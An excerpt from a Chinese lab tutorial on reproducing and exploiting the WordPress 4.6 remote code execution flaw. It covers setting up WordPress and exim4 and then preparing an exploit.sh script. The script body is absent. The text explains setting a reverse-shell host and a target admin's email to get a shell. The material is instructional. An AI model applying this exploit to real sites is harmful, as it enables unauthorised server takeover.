说明：文章内容截选自实验楼教程【从头开始学习漏洞利用】第一节，该教程总共介绍了5个漏洞的复现和利用，感兴趣的可以点击教程进行查看~
涉及知识点：
- wordpress 的安装
- burpsuite 的使用
- wordpress 4.6 远程代码执行漏洞的利用
安装 wordpress
由于实验楼的环境已经帮大家安装好了apache、mysql，所以大家在使用时只需要输入
sudo service apache2 start
sudo service mysql start
启动apache、mysql服务，随后通过
wget http://labfile.oss.aliyuncs.com/courses/879/wordpress.tar.gz
指令将wordpress下载到本地，随后我们使用
sudo mv wordpress.tar.gz /var/www/html/
将wordpress文件移动到/var/www/html/目录下.
此处输入图片的描述
移动到/var/www/html/目录后使用
sudo tar zxvf wordpress.tar.gz
解压文件。
解压完成后，打开firefox浏览器，在url栏输入 127.0.0.1/wordpress 即可访问wordpress安装界面
此处输入图片的描述
方便起见，我们给wordpress目录 777 权限，但是各位同学如果给自己做博客的时候切忌777。
此处输入图片的描述
点击现在就开始按钮后，我们会进入一个页面，要求我们输入数据库名、用户名、密码、数据库主机、表前缀、所以我们现在需要通过指令建立一个数据库以供wordpress使用。在终端中输入
sudo mysql
进入mysql指令执行界面，输入
CREATE DATABASE wordpess；
建立名为wordpress的数据库，切记在每条指令之后加上" ; "以用来表示该条语句结束，mysql才会执行这条语句。

回到firefox进行安装，用户名是root，密码无需输入。之后的安装大家轻车熟路的安装就是了。
wordpress 4.6 远程代码执行漏洞的利用。
首先，我们要安装exim4，使用命令
sudo apt-get install exim4
安装完成后进行配置，使用命令
dpkg-reconfigure exim4-config
在配置时，选择的选项为internet site -> mail is sent and received directly using SMTP。在第二个选项输入你ip对应的DNS名称。之后一直选择默认选项。
随后，我们开始编写我们的payload，使用命令
touch exploit.sh
sodu chmod +x exploit.sh
sudo vim exploit.sh
将以下代码写入exploit.sh中。
#!/bin/bash
#

在poc中需要修改的是： 参数rev_host为本机ip。修改user_login=admin为要攻击网站后台管理员邮箱或者用户邮箱即可。
之后我们开始进行攻击，由于实验环境限制并不能getshell，但是大家在本机搭建环境时测试时可以成功的，我们进入登录页读取wordpress的主路径url，然后输入到payload中去。
